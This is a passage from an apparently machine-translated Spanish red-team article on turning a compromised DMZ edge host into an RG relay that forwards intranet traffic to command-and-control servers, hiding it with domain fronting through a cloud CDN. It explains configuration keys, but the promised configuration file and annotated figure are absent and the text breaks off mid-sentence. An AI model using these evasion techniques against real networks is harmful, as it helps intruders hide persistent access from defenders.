En el escenario de confrontación de ataque y defensa, la mayoría de las redes unitarias siguen siendo defensa fronteriza. Aquí consideramos un escenario en el que los servidores externos en el área DMZ a menudo se configuran con políticas de acceso relevantes en un entorno empresarial normal. En este momento, cuando los servidores externos en el borde pueden acceder a la red pero no pueden acceder directamente al host de intranet, la PC o los servidores relacionados en la intranet no acceden directamente a la red pública, sino que pueden acceder a los servidores comerciales en el área DMZ, Luego puedo usar el host del nodo Edge como un nodo RG para transferir el tráfico en línea de Intranet a nuestras instalaciones C2. ¿Suena muy similar a la transferencia de poder convencional en línea? Sin embargo, esto es solo una forma de visualización de la implementación de habilidades. Sigamos mirando más consejos.
Cuando derribamos un host de borde durante el proceso de administración, suponiendo que hemos hecho cargo los permisos de shell, implementaremos RG en este servidor como nuestro nodo frontal (en escenarios reales, los archivos de configuración están codificados en el programa, e incluso el caballo troyano y RG se combinan en el mismo programa) .
El archivo de configuración es el siguiente:
Para la configuración específica, nos centramos principalmente en las flechas. La flecha 1 anterior es el nombre de dominio del host para la interacción entre el host de intranet y el nodo de borde . Se recomienda establecer el nombre de dominio intranet relevante de acuerdo con el escenario específico de la unidad objetivo. Imagine la interacción del tráfico entre dos hosts en la intranet sobre el nombre de dominio de Intranet. ¿BT tiene el coraje de cortar directamente el tráfico interactivo? Por supuesto, si pueden determinar que es un tráfico interactivo malicioso. La flecha 2 puntos a la configuración del frontend del dominio convencional . Este par de valor clave, la clave corresponde al host en línea y el valor corresponde a la dirección proxy. Aquí podemos configurarlo en cualquier nombre de dominio HTTPS utilizando el mismo fabricante CDN (CDN Node IP también está bien, recuerde traer http (s): // protocolo).
Edgehost es el nombre de dominio utilizado por el frontend de dominio de nuestro proveedor de servicios en la nube, que también es el nombre de dominio utilizado por el nodo RG Edge cuando interactúa con C2 a través del nodo CDN. Sí, RG modificará el nombre de dominio del host de la solicitud legítima y lo modificará al nombre de dominio CDN del servicio en la nube que puede comunicarse normalmente.
Edgetarget es el nombre de dominio para la interacción Intranet, que debe ser el mismo que la flecha 1. Solo el tráfico solicitado por el nombre de dominio establecido aquí por host se considerará legítimo, y RG se modificará adicionalmente al nombre de dominio CDN del servicio en la nube para posterior comunicación.
Aquí resumimos:
Es decir, la interacción entre el nodo de borde y el host en la intranet es a través del nombre de dominio de intranet establecido. Quién y dónde
